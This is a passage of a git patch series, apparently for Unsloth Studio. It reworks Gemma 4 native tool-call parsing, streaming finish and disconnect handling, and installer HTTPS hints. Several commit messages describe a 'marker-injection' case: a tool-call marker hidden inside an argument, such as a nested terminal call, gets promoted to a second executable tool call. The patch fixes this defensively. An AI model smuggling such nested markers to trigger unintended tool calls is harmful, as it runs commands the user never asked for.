diff --git a/studio/frontend/src/features/chat/api/chat-api.ts b/studio/frontend/src/features/chat/api/chat-api.ts
index 589fae5fe9..7112a7877c 100644
--- a/studio/frontend/src/features/chat/api/chat-api.ts
+++ b/studio/frontend/src/features/chat/api/chat-api.ts
@@ -902,6 +902,19 @@ export async function* streamChatCompletions(
         separatorIndex = buffer.search(/\r?\n\r?\n/);
         continue;
       }
+      // Relay server-side reasoning duration.
+      if (
+        parsed &&
+        typeof parsed === "object" &&
+        "type" in parsed &&
+        parsed.type === "reasoning_summary"
+      ) {
+        yield {
+          _reasoningDurationMs: (parsed as { duration_ms?: number }).duration_ms,
+        } as unknown as OpenAIChatChunk;
+        separatorIndex = buffer.search(/\r?\n\r?\n/);
+        continue;
+      }
       yield parsed as OpenAIChatChunk;
       separatorIndex = buffer.search(/\r?\n\r?\n/);
     }

From b458e1cf6db227efe9a747f9feefff36f10b08ec Mon Sep 17 00:00:00 2001
From: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Date: Tue, 23 Jun 2026 14:11:19 +0100
Subject: [PATCH 070/306] Add HTTPS hint to Studio launch message (#6583)

---
 install.ps1     | 2 ++
 install.sh      | 2 ++
 studio/setup.sh | 1 +
 3 files changed, 5 insertions(+)

diff --git a/install.ps1 b/install.ps1
index efb54efa2b..745c7369ea 100644
--- a/install.ps1
+++ b/install.ps1
@@ -2595,6 +2595,7 @@ exit 0
             step "launch" "to start later, run:"
             substep "unsloth studio -p 8888"
             substep "(add -H 0.0.0.0 to allow network / cloud access)"
+            substep "(add --secure to allow HTTPS)"
             Write-Host ""
         }
     } else {
@@ -2615,6 +2616,7 @@ exit 0
             substep "unsloth studio -p 8888"
         }
         substep "(add -H 0.0.0.0 to allow network / cloud access)"
+        substep "(add --secure to allow HTTPS)"
         Write-Host ""
     }
 }
diff --git a/install.sh b/install.sh
index a3b2734dac..62cc2920e6 100755
--- a/install.sh
+++ b/install.sh
@@ -3160,6 +3160,7 @@ if [ -t 1 ]; then
             step "launch" "to start later, run:"
             substep "unsloth studio -p 8888"
             substep "(add -H 0.0.0.0 to allow network / cloud access)"
+            substep "(add --secure to allow HTTPS)"
             echo ""
             ;;
     esac
@@ -3181,5 +3182,6 @@ else
         substep "unsloth studio -p 8888"
     fi
     substep "(add -H 0.0.0.0 to allow network / cloud access)"
+    substep "(add --secure to allow HTTPS)"
     echo ""
 fi
diff --git a/studio/setup.sh b/studio/setup.sh
index b5b64a8d4d..e22186319f 100755
--- a/studio/setup.sh
+++ b/studio/setup.sh
@@ -1822,6 +1822,7 @@ else
         printf "  ${C_DIM}%-15s${C_OK}%s${C_RST}\n" "launch" "unsloth studio -p 8888"
     fi
     printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add -H 0.0.0.0 to allow network / cloud access)"
+    printf "  ${C_DIM}%-15s%s${C_RST}\n" "" "(add --secure to allow HTTPS)"
 fi
 echo ""
 

From 37166efcfc1692a52fed495111e3c63bb3554af7 Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Tue, 23 Jun 2026 15:13:56 +0200
Subject: [PATCH 071/306] Fix Gemma 4 GGUF OpenAI API streams (#6476)

* Fix Gemma 4 GGUF OpenAI API streams

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Avoid duplicate Responses stream disconnect watcher

* Keep reasoning-only Responses output hidden

* Address Gemma stream review comments

* Avoid Responses stream task-group cleanup

* Harden OpenAI chat completion streams

* Address OpenAI stream review issues

* Clean up Studio OpenAI stream helpers

* Fix Studio passthrough cold stream timeout

* Fix tool parser compatibility exports lint

* Preserve audio stream disconnect cancellation

* Avoid synthetic finish after passthrough errors

* Address stream cleanup and Gemma parser reviews

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gemma 4: parse bare-string tool args and keep safetensors tools for native <|tool_call>

- Quote bare unquoted string values in Gemma native tool-call args (e.g.
  {location:Tokyo,unit:celsius}) so they parse; JSON scalars stay typed.
- Stop _detect_safetensors_features from suppressing supports_tools for
  templates that emit Gemma native <|tool_call>, which the shared parser
  now reads.
- Add tests for both.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Harden Gemma tool-call parsing and stream-error detection

Address three issues in the Gemma-native tool-call path:

- _quote_gemma_object_keys stopped a bare (unquoted) string value at the
  first comma, so an argument like `location:New York, NY` was split
  mid-value and the synthesized JSON failed to parse, dropping the whole
  tool call. A bare value now ends only at `}` or a comma that begins the
  next `key:` pair.

- parse_tool_calls_from_text scanned the entire response for Gemma markers
  even inside a tool call already parsed from a `<tool_call>{...}` JSON
  block, so a marker-like string inside an argument (data) was promoted to
  a second, unintended tool call. Matches inside an already-consumed call
  span are now skipped.

- _openai_passthrough_stream relied on _monitor_openai_sse_line to flag a
  stream error, which returns early when monitor_id is None
  (skip_api_monitor), so an upstream error chunk left saw_stream_error
  unset and the synthetic-finish guard emitted a successful finish_reason
  after a failed stream. Error chunks are now detected independently of API
  monitoring.

Adds tests/test_gemma_tool_parse_edge_cases.py covering the comma and
marker-injection cases.

* Emit the terminal finish_reason chunk in GGUF streams

The OpenAI chat-completions GGUF tool stream and plain stream both built a
final ChatCompletionChunk carrying finish_reason but never yielded it, so
clients received the optional usage chunk and [DONE] with no chunk carrying
finish_reason. OpenAI-compatible consumers rely on that terminal choice to
distinguish stop/length/tool_calls. Yield it before the usage chunk and
[DONE], matching the other streaming paths.

* Parse tool calls in document order and skip nested markers both ways

Unify the JSON- and Gemma-format tool-call passes into a single
position-ordered scan:

- Calls are now emitted in byte order across both formats, so a mixed
  output like `<|tool_call>call:create{...}<tool_call|> ... <tool_call>
  {"name":"read",...}</tool_call>` executes create before read, matching
  the order they appear in (tools run in returned order).

- A candidate that starts inside an already-accepted call's span is
  skipped, in both directions: a JSON marker inside a Gemma argument and a
  Gemma marker inside a JSON argument are treated as data, not promoted to
  a second executable tool call.

Extends tests/test_gemma_tool_parse_edge_cases.py with the ordering and
JSON-in-Gemma nesting cases.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Quote bare Gemma array elements; order finish before trailing usage

- _quote_gemma_object_keys skipped array values, so a Gemma call with a
  bare-string array argument like labels:[bug,ui] produced invalid JSON and
  the whole tool call was dropped. Array values are now scanned and bare
  string elements quoted, while numbers, quoted strings, and JSON literals
  are preserved.

- In the OpenAI passthrough stream, a trailing usage-only chunk
  (stream_options.include_usage) that arrived before any finish chunk was
  relayed before the synthetic finish, producing usage -> finish -> [DONE].
  Emit the synthetic finish before that usage chunk so the order matches the
  other streams (finish -> usage -> [DONE]).

Extends tests/test_gemma_tool_parse_edge_cases.py with the bare-array cases.

* Harden Gemma array parsing, XML-parameter guard, and stream teardown

Address five review findings on the Gemma tool-call and OpenAI passthrough
streaming paths:

- parse_tool_calls_from_text collected JSON and Gemma markers without the
  _inside_open_parameter guard, so a marker embedded in an existing
  <function=...><parameter=...> value was promoted to a separate tool call.
  Candidates that start inside an open XML parameter are now skipped, matching
  the guard the XML-style parser already applies.

- _quote_gemma_array_elements preserved array elements starting with { or [
  verbatim, so an array of objects (items:[{path:a}]) or a nested array failed
  json.loads and the whole call was dropped. Object and nested-array elements
  are now normalised recursively.

- _openai_passthrough_stream synthesized a finish chunk before a trailing
  usage-only chunk and set saw_finish_reason, which made the EOF guard skip the
  [DONE] sentinel. The EOF path now emits [DONE] whenever the upstream omitted
  it, even after a finish chunk was already synthesized.

- /generate/stream drove generation through asyncio.to_thread with no
  disconnect watcher, so a client disconnect during a long generation went
  unnoticed until the next send. It now runs _await_disconnect_then_cancel
  against the request, matching the other local streaming endpoints.

- _SameTaskStreamingResponse closed the body iterator with aclose() on a
  send-side disconnect, raising GeneratorExit so the generators' cancellation
  handlers (which finish the api_monitor entry) never ran. It now throws
  CancelledError, falling back to aclose() when athrow is unavailable.

Extends tests/test_gemma_tool_parse_edge_cases.py with array-of-objects,
nested-array, and marker-inside-XML-parameter cases.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Watch disconnects on Anthropic streams; keep timestamps in Gemma values

Two follow-ups on the streaming and tool-parse paths:

- _anthropic_tool_stream and _anthropic_plain_stream drove generation through
  asyncio.to_thread(next, gen, ...) and only polled is_disconnected() between
  events, so a client disconnect during prefill or a long generation/tool step
  held the decode slot until the next event or a failed send. Both now run the
  _await_disconnect_then_cancel watcher used by the other local streams, stop it
  in finally, and break promptly when cancel_event is set.

- _GEMMA_NEXT_KEY_RE treated any comma followed by word-chars-then-colon as the
  next key, so a bare value such as "meet at 10:00, 11:00 tomorrow" was split
  into bogus keys. The next-key token must now be identifier-shaped (start with
  a letter or underscore), so a comma before a timestamp, ratio, or other
  numeric-then-colon text stays part of the value.

Adds a timestamp-in-bare-value regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Guard nested markers, reset on disconnect, clean unstarted streams

Three follow-ups on the tool-parse and streaming paths:

- parse_tool_calls_from_text only skipped markers that fell inside a span it
  had already parsed successfully, so when an unquoted Gemma argument contained
  a literal marker (code:<|tool_call>call:terminal{...}<tool_call|>) the outer
  object failed to normalize, its span was never recorded, and the inner marker
  was promoted to a standalone terminal call. Candidates nested inside any other
  candidate's brace span are now skipped regardless of whether the enclosing
  candidate parsed, so a marker in malformed outer data is never executed.

- /generate/stream skipped backend.reset_generation_state() when the disconnect
  watcher set cancel_event between chunks: the loop broke and the finally's reset
  is guarded on cancel_event being unset. A subprocess backend kept decoding
  after the client left. The cancel-break path now resets the backend.

- _SameTaskStreamingResponse threw CancelledError / called aclose() on the body
  iterator on a send-side disconnect, but neither runs the try/finally of a
  generator that never started (early disconnect on http.response.start), so the
  passthrough's eagerly-opened upstream httpx stream and cancel-registry entry
  leaked. It now tracks whether the body started and, when it did not, runs an
  optional unstarted_cleanup hook; the OpenAI passthrough wires it to close the
  upstream resp/client and exit the cancel tracker.

Adds a nested-unquoted-marker regression test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
---
 .../core/inference/tool_call_parser.py        | 227 +------
 studio/backend/core/tool_healing.py           | 436 +++++++++++--
 studio/backend/models/inference.py            |   4 +
 studio/backend/routes/inference.py            | 608 ++++++++++++++++--
 .../tests/test_gemma_tool_parse_edge_cases.py | 161 +++++
 .../tests/test_llama_route_timeouts.py        | 118 ++++
 studio/backend/tests/test_mcp_servers.py      |  40 ++
 .../tests/test_openai_tool_passthrough.py     | 423 ++++++++++--
 .../tests/test_responses_tool_passthrough.py  | 139 +++-
 .../test_safetensors_capability_advertise.py  |  14 +
 .../tests/test_safetensors_tool_loop.py       |  50 ++
 .../tests/test_tool_call_parser_strict.py     |  48 ++
 studio/backend/tests/test_tool_xml_strip.py   |   8 +
 .../test_stream_cancel_registration_timing.py | 129 +++-
 14 files changed, 1977 insertions(+), 428 deletions(-)
 create mode 100644 studio/backend/tests/test_gemma_tool_parse_edge_cases.py

diff --git a/studio/backend/core/inference/tool_call_parser.py b/studio/backend/core/inference/tool_call_parser.py
index 8d5d45269e..ca3d1e4cbc 100644
--- a/studio/backend/core/inference/tool_call_parser.py
+++ b/studio/backend/core/inference/tool_call_parser.py
@@ -7,25 +7,31 @@ Tolerates missing closing tags in either ``<tool_call>{json}</tool_call>``
 or ``<function=name><parameter=k>v...`` shape.
 """
 
-import json
-import re
+from core import tool_healing as _tool_healing
 
 
-# _TOOL_CLOSED_PATS: closed pairs only. _TOOL_ALL_PATS: also trailing unclosed
-# runs so truncated tails don't leak markup. The [\w-] name set matches OpenAI's
-# so hyphenated MCP tool names (mcp__srv__list-issues) parse like built-ins.
-_TOOL_CLOSED_PATS = [
-    re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL),
-    re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL),
-]
-_TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
-    re.compile(r"<tool_call>.*$", re.DOTALL),
-    re.compile(r"<function=[\w-]+>.*$", re.DOTALL),
-]
+_TOOL_ALL_PATS = _tool_healing._TOOL_ALL_PATS
+
+
+def parse_tool_calls_from_text(
+    content: str,
+    *,
+    id_offset: int = 0,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    return _tool_healing.parse_tool_calls_from_text(
+        content,
+        id_offset = id_offset,
+        allow_incomplete = allow_incomplete,
+    )
+
+
+def strip_tool_markup(text: str, *, final: bool = False) -> str:
+    return _tool_healing.strip_tool_call_markup(text, final = final)
 
 
 # Prefixes the streaming buffer watches for to gate in-progress text.
-TOOL_XML_SIGNALS = ("<tool_call>", "<function=")
+TOOL_XML_SIGNALS = ("<tool_call>", "<|tool_call>", "<function=")
 
 
 # Nudges + error prefixes shared by the GGUF and safetensors loops.
@@ -74,199 +80,6 @@ RAG_SEARCH_CAP_NUDGE = (
 )
 
 
-# Pre-compiled patterns reused by ``parse_tool_calls_from_text``.
-_TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
-_TC_FUNC_START_RE = re.compile(r"<function=([\w-]+)>\s*")
-_TC_END_TAG_RE = re.compile(r"</tool_call>")
-_TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
-# [\w-] so hyphenated MCP param names (issue-number) aren't dropped.
-_TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>\s*")
-_TC_PARAM_CLOSE_RE = re.compile(r"\s*</parameter>\s*$")
-_PARAM_CLOSE_TAG = "</parameter>"
-_FUNC_CLOSE_TAG = "</function>"
-
-
-def _inside_open_parameter(content: str, pos: int) -> bool:
-    """Return True when ``pos`` falls inside an unclosed parameter value."""
-    last_param_start = -1
-    for match in _TC_PARAM_START_RE.finditer(content, 0, pos):
-        last_param_start = match.start()
-    if last_param_start < 0:
-        return False
-    last_param_close = content.rfind(_PARAM_CLOSE_TAG, 0, pos)
-    last_func_close = content.rfind(_FUNC_CLOSE_TAG, 0, pos)
-    return last_param_start > max(last_param_close, last_func_close)
-
-
-def strip_tool_markup(text: str, *, final: bool = False) -> str:
-    """Strip tool-call XML from streamed text.
-
-    ``final=False`` only removes closed pairs (used during streaming so
-    in-progress XML stays buffered). ``final=True`` also removes a
-    trailing unclosed run and trims the result.
-    """
-    pats = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
-    for pat in pats:
-        text = pat.sub("", text)
-    return text.strip() if final else text
-
-
-def parse_tool_calls_from_text(
-    content: str,
-    *,
-    id_offset: int = 0,
-    allow_incomplete: bool = True,
-) -> list[dict]:
-    """Parse OpenAI-format ``tool_calls`` from model text.
-
-    Returns a list of ``{"id", "type", "function": {"name", "arguments"}}``
-    dicts. ``arguments`` is always a JSON string so callers can hand it
-    straight back into an OpenAI-style response.
-
-    Handles two shapes:
-
-    - JSON inside ``<tool_call>`` tags:
-      ``<tool_call>{"name":"web_search","arguments":{"query":"..."}}</tool_call>``
-    - XML-style function blocks:
-      ``<function=name><parameter=k>v</parameter></function>``
-
-    ``allow_incomplete=True`` keeps the historical healing behavior for
-    missing closing tags. ``allow_incomplete=False`` accepts only
-    well-formed wrappers so disabled Auto-Heal can still parse valid
-    local tool protocol without repairing truncated output.
-    """
-    tool_calls: list[dict] = []
-
-    # Pattern 1: <tool_call>{json}. Balanced-brace scan, skipping braces in
-    # JSON strings.
-    for m in _TC_JSON_START_RE.finditer(content):
-        brace_start = m.end() - 1  # opening {
-        depth, i = 0, brace_start
-        in_string = False
-        while i < len(content):
-            ch = content[i]
-            if in_string:
-                if ch == "\\" and i + 1 < len(content):
-                    i += 2
-                    continue
-                if ch == '"':
-                    in_string = False
-            elif ch == '"':
-                in_string = True
-            elif ch == "{":
-                depth += 1
-            elif ch == "}":
-                depth -= 1
-                if depth == 0:
-                    break
-            i += 1
-        if depth != 0:
-            continue
-        if not allow_incomplete:
-            tail_after_json = content[i + 1 :].lstrip()
-            if _TC_END_TAG_RE.match(tail_after_json) is None:
-                continue
-        json_str = content[brace_start : i + 1]
-        try:
-            obj = json.loads(json_str)
-            tc = {
-                "id": f"call_{id_offset + len(tool_calls)}",
-                "type": "function",
-                "function": {
-                    "name": obj.get("name", ""),
-                    "arguments": obj.get("arguments", {}),
-                },
-            }
-            if isinstance(tc["function"]["arguments"], dict):
-                tc["function"]["arguments"] = json.dumps(tc["function"]["arguments"])
-            tool_calls.append(tc)
-        except (json.JSONDecodeError, ValueError):
-            pass
-
-    # Pattern 2: <function=name><parameter=k>v... -- closing tags optional;
-    # </function> isn't a body boundary since code values can contain it.
-    if not tool_calls:
-        func_starts = [
-            fm
-            for fm in _TC_FUNC_START_RE.finditer(content)
-            if not _inside_open_parameter(content, fm.start())
-        ]
-        for idx, fm in enumerate(func_starts):
-            func_name = fm.group(1)
-            body_start = fm.end()
-            next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
-            end_tag = _TC_END_TAG_RE.search(content[body_start:])
-            if end_tag:
-                body_end = body_start + end_tag.start()
-            else:
-                body_end = len(content)
-            body_end = min(body_end, next_func)
-            body = content[body_start:body_end]
-            if not allow_incomplete:
-                # Bound the body at the closing </function> tag rather than
-                # the end of the response, so a complete call followed by
-                # trailing prose is still accepted (matching the JSON-style
-                # <tool_call> path, which already tolerates trailing text).
-                # rfind picks the last </function>, so a literal </function>
-                # inside a code parameter value stays in the body.
-                close_idx = body.rfind(_FUNC_CLOSE_TAG)
-                if close_idx < 0:
-                    continue
-                body = body[:close_idx]
-            else:
-                body = _TC_FUNC_CLOSE_RE.sub("", body)
-
-            arguments: dict = {}
-            param_starts = list(_TC_PARAM_START_RE.finditer(body))
-            if len(param_starts) == 1:
-                # Single param: take everything to body end so an embedded
-                # </parameter> in code strings is preserved.
-                pm = param_starts[0]
-                val = body[pm.end() :]
-                if not allow_incomplete:
-                    stripped_val = val.rstrip()
-                    if not stripped_val.endswith(_PARAM_CLOSE_TAG):
-                        continue
-                    val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
-                else:
-                    val = _TC_PARAM_CLOSE_RE.sub("", val)
-                arguments[pm.group(1)] = val.strip()
-            else:
-                valid_params = True
-                for pidx, pm in enumerate(param_starts):
-                    param_name = pm.group(1)
-                    val_start = pm.end()
-                    next_param = (
-                        param_starts[pidx + 1].start()
-                        if pidx + 1 < len(param_starts)
-                        else len(body)
-                    )
-                    val = body[val_start:next_param]
-                    if not allow_incomplete:
-                        stripped_val = val.rstrip()
-                        if not stripped_val.endswith(_PARAM_CLOSE_TAG):
-                            valid_params = False
-                            break
-                        val = stripped_val[: -len(_PARAM_CLOSE_TAG)]
-                    else:
-                        val = _TC_PARAM_CLOSE_RE.sub("", val)
-                    arguments[param_name] = val.strip()
-                if not valid_params:
-                    continue
-
-            tc = {
-                "id": f"call_{id_offset + len(tool_calls)}",
-                "type": "function",
-                "function": {
-                    "name": func_name,
-                    "arguments": json.dumps(arguments),
-                },
-            }
-            tool_calls.append(tc)
-
-    return tool_calls
-
-
 def has_tool_signal(text: str) -> bool:
     """Return True if ``text`` contains any tool-call XML signal."""
     return any(s in text for s in TOOL_XML_SIGNALS)
diff --git a/studio/backend/core/tool_healing.py b/studio/backend/core/tool_healing.py
index 973520d5cd..fe26d48c7f 100644
--- a/studio/backend/core/tool_healing.py
+++ b/studio/backend/core/tool_healing.py
@@ -1,14 +1,10 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Tool-call XML parsing and stripping helpers.
+"""Lightweight tool-call XML parsing and stripping helpers.
 
-Extracted verbatim from studio/backend/core/inference/llama_cpp.py so external
-inference servers can reuse the logic without importing the inference
+External inference servers import this module without pulling in the inference
 orchestrator, structlog, httpx, or the rest of the studio backend.
-
-Regexes and bodies are byte-for-byte identical to the original; any change must
-preserve that. test_tool_healing_extraction_is_exact.py verifies via AST.
 """
 
 import json
@@ -19,86 +15,370 @@ import re
 # issue-number) parse alongside the built-ins.
 _TOOL_CLOSED_PATS = [
     re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL),
+    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+    re.compile(r"<tool_call\|>"),
     re.compile(r"<function=[\w-]+>.*?</function>", re.DOTALL),
 ]
 _TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
     re.compile(r"<tool_call>.*$", re.DOTALL),
+    re.compile(r"<\|tool_call>.*$", re.DOTALL),
     re.compile(r"<function=[\w-]+>.*$", re.DOTALL),
 ]
 
 # Pre-compiled patterns for tool-call XML parsing.
 _TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
+_TC_GEMMA_START_RE = re.compile(r"<\|tool_call>call:([\w-]+)\s*\{")
 _TC_FUNC_START_RE = re.compile(r"<function=([\w-]+)>\s*")
 _TC_END_TAG_RE = re.compile(r"</tool_call>")
+_TC_GEMMA_END_TAG_RE = re.compile(r"<tool_call\|>")
 _TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
 _TC_PARAM_START_RE = re.compile(r"<parameter=([\w-]+)>\s*")
 _TC_PARAM_CLOSE_RE = re.compile(r"\s*</parameter>\s*$")
+_GEMMA_QUOTE = '<|"|>'
+_PARAM_CLOSE_TAG = "</parameter>"
+_FUNC_CLOSE_TAG = "</function>"
+# A bare (unquoted) Gemma value ends at `}` or at a comma that begins the next
+# `key:` pair. A comma NOT followed by a key token is part of the value (e.g.
+# `location:New York, NY`), so it must not terminate the value. The key token
+# must be identifier-shaped (start with a letter or underscore); a comma
+# followed by digits-then-colon is value text such as a timestamp or ratio
+# (`meet at 10:00, 11:00 tomorrow`), not a new key.
+_GEMMA_NEXT_KEY_RE = re.compile(r"\s*[A-Za-z_][\w-]*\s*:")
 
 
-def parse_tool_calls_from_text(content: str) -> list[dict]:
-    """
-    Parse tool calls from XML markup in content text.
+def _balanced_brace_end(
+    content: str,
+    brace_start: int,
+    *,
+    gemma_quotes: bool = False,
+) -> int:
+    depth = 0
+    i = brace_start
+    in_string = False
+    in_gemma_string = False
+    while i < len(content):
+        if gemma_quotes and not in_string and content.startswith(_GEMMA_QUOTE, i):
+            in_gemma_string = not in_gemma_string
+            i += len(_GEMMA_QUOTE)
+            continue
+        ch = content[i]
+        if in_gemma_string:
+            i += 1
+            continue
+        if in_string:
+            if ch == "\\" and i + 1 < len(content):
+                i += 2
+                continue
+            if ch == '"':
+                in_string = False
+        elif ch == '"':
+            in_string = True
+        elif ch == "{":
+            depth += 1
+        elif ch == "}":
+            depth -= 1
+            if depth == 0:
+                return i
+        i += 1
+    return -1
+
+
+def _balanced_bracket_end(src: str, start: int) -> int:
+    """Index of the ``]`` matching the ``[`` at ``start``, or -1. Tracks nested
+    ``[]``/``{}`` and double-quoted strings."""
+    depth = 0
+    i = start
+    in_string = False
+    while i < len(src):
+        ch = src[i]
+        if in_string:
+            if ch == "\\" and i + 1 < len(src):
+                i += 2
+                continue
+            if ch == '"':
+                in_string = False
+        elif ch == '"':
+            in_string = True
+        elif ch in "[{":
+            depth += 1
+        elif ch in "]}":
+            depth -= 1
+            if depth == 0:
+                return i
+        i += 1
+    return -1
+
+
+def _split_top_level_commas(src: str) -> list:
+    """Split on commas that are not inside a nested ``[]``/``{}`` or a string."""
+    parts: list[str] = []
+    depth = 0
+    in_string = False
+    start = 0
+    i = 0
+    while i < len(src):
+        ch = src[i]
+        if in_string:
+            if ch == "\\" and i + 1 < len(src):
+                i += 2
+                continue
+            if ch == '"':
+                in_string = False
+        elif ch == '"':
+            in_string = True
+        elif ch in "[{":
+            depth += 1
+        elif ch in "]}":
+            depth -= 1
+        elif ch == "," and depth == 0:
+            parts.append(src[start:i])
+            start = i + 1
+        i += 1
+    parts.append(src[start:])
+    return parts
+
+
+def _quote_gemma_array_elements(body: str) -> str:
+    """Normalise the elements of a Gemma array value so json.loads succeeds.
+
+    Gemma may emit ``labels:[bug,ui]`` without per-element quotes, or arrays of
+    objects (``items:[{path:a}]``) whose keys/values also lack quotes; left
+    as-is json.loads fails and the whole call is dropped. Bare string elements
+    are quoted, object and nested-array elements are normalised recursively, and
+    quoted strings (already normalised from ``<|"|>``), numbers, and JSON
+    literals are preserved."""
+    out: list[str] = []
+    for element in _split_top_level_commas(body):
+        stripped = element.strip()
+        if not stripped or stripped[0] == '"':
+            out.append(element)
+            continue
+        if stripped[0] == "{":
+            # Object element: quote its keys/bare values like a top-level object.
+            out.append(_quote_gemma_object_keys(stripped))
+            continue
+        if stripped[0] == "[":
+            # Nested array: normalise its elements too.
+            inner_end = _balanced_bracket_end(stripped, 0)
+            if inner_end == len(stripped) - 1:
+                out.append("[" + _quote_gemma_array_elements(stripped[1:inner_end]) + "]")
+            else:
+                out.append(element)
+            continue
+        try:
+            json.loads(stripped)
+            out.append(element)
+        except (json.JSONDecodeError, ValueError):
+            out.append(json.dumps(stripped))
+    return ",".join(out)
+
+
+def _normalise_gemma_quoted_strings(src: str) -> str:
+    parts: list[str] = []
+    i = 0
+    while i < len(src):
+        if not src.startswith(_GEMMA_QUOTE, i):
+            parts.append(src[i])
+            i += 1
+            continue
+        end = src.find(_GEMMA_QUOTE, i + len(_GEMMA_QUOTE))
+        if end < 0:
+            parts.append(src[i:])
+            break
+        raw_value = src[i + len(_GEMMA_QUOTE) : end]
+        parts.append(json.dumps(raw_value))
+        i = end + len(_GEMMA_QUOTE)
+    return "".join(parts)
+
+
+def _quote_gemma_object_keys(src: str) -> str:
+    parts: list[str] = []
+    i = 0
+    in_string = False
+    while i < len(src):
+        ch = src[i]
+        if in_string:
+            parts.append(ch)
+            if ch == "\\" and i + 1 < len(src):
+                parts.append(src[i + 1])
+                i += 2
+                continue
+            if ch == '"':
+                in_string = False
+            i += 1
+            continue
+        if ch == '"':
+            in_string = True
+            parts.append(ch)
+            i += 1
+            continue
+        if ch not in "{,":
+            parts.append(ch)
+            i += 1
+            continue
+
+        parts.append(ch)
+        i += 1
+        key_start = i
+        while i < len(src) and src[i].isspace():
+            i += 1
+        key_name_start = i
+        while i < len(src) and (src[i].isalnum() or src[i] in "_-"):
+            i += 1
+        key_name = src[key_name_start:i]
+        colon_pos = i
+        while colon_pos < len(src) and src[colon_pos].isspace():
+            colon_pos += 1
+        if key_name and colon_pos < len(src) and src[colon_pos] == ":":
+            parts.append(src[key_start:key_name_start])
+            parts.append(json.dumps(key_name))
+            parts.append(src[i:colon_pos])
+            parts.append(":")
+            i = colon_pos + 1
+            # Gemma may emit bare string values ({unit:celsius}); quote them so
+            # json.loads succeeds. JSON scalars/objects/arrays/quoted stay as-is.
+            ws = i
+            while i < len(src) and src[i].isspace():
+                i += 1
+            parts.append(src[ws:i])
+            if i < len(src) and src[i] == "[":
+                # Array value: quote bare string elements (e.g. labels:[bug,ui])
+                # so json.loads succeeds instead of dropping the call.
+                arr_end = _balanced_bracket_end(src, i)
+                if arr_end < 0:
+                    parts.append(src[i:])
+                    i = len(src)
+                else:
+                    parts.append("[" + _quote_gemma_array_elements(src[i + 1 : arr_end]) + "]")
+                    i = arr_end + 1
+            elif i < len(src) and src[i] not in '"{':
+                v_start = i
+                # Consume the bare value up to `}` or a comma that starts the
+                # next key:value pair; a comma inside the value (e.g.
+                # `New York, NY`) does not terminate it.
+                while i < len(src):
+                    if src[i] == "}":
+                        break
+                    if src[i] == "," and _GEMMA_NEXT_KEY_RE.match(src, i + 1):
+                        break
+                    i += 1
+                raw = src[v_start:i]
+                try:
+                    json.loads(raw.strip())
+                    parts.append(raw)
+                except (json.JSONDecodeError, ValueError):
+                    parts.append(json.dumps(raw.strip()) if raw.strip() else raw)
+        else:
+            parts.append(src[key_start:i])
+    return "".join(parts)
+
+
+def _gemma_arguments_to_json(args_src: str) -> dict:
+    """Parse Gemma 4's native call:name{key:value} argument object."""
+    args_src = args_src.strip()
+    if not args_src:
+        return {}
+    src = _normalise_gemma_quoted_strings(args_src)
+    src = "{" + src + "}"
+    src = _quote_gemma_object_keys(src)
+    return json.loads(src)
+
+
+def _inside_open_parameter(content: str, pos: int) -> bool:
+    """Return True when ``pos`` falls inside an unclosed parameter value."""
+    last_param_start = -1
+    for match in _TC_PARAM_START_RE.finditer(content, 0, pos):
+        last_param_start = match.start()
+    if last_param_start < 0:
+        return False
+    last_param_close = content.rfind(_PARAM_CLOSE_TAG, 0, pos)
+    last_func_close = content.rfind(_FUNC_CLOSE_TAG, 0, pos)
+    return last_param_start > max(last_param_close, last_func_close)
+
+
+def parse_tool_calls_from_text(
+    content: str,
+    *,
+    id_offset: int = 0,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse OpenAI-format tool calls from model text.
 
     Handles formats like:
       <tool_call>{"name":"web_search","arguments":{"query":"..."}}</tool_call>
+      <|tool_call>call:web_search{query:"..."}<tool_call|>
       <tool_call><function=web_search><parameter=query>...</parameter></function></tool_call>
-    Closing tags (</tool_call>, </function>, </parameter>) are all
-    optional since models frequently omit them.
     """
-    tool_calls = []
-
-    # Pattern 1: JSON inside <tool_call> tags. Balanced-brace extraction that
-    # skips braces inside JSON strings.
+    tool_calls: list[dict] = []
+    # Collect JSON- and Gemma-format candidates with their byte spans, then
+    # accept them in document order. Both order and spans matter:
+    #   * tools execute in returned order, so a call appearing earlier in the
+    #     text must be emitted first even across the two formats;
+    #   * a tool-call marker INSIDE another call's argument string is data, not a
+    #     call, so a candidate starting within an already accepted span is
+    #     skipped (covers a JSON marker nested in a Gemma arg and a Gemma marker
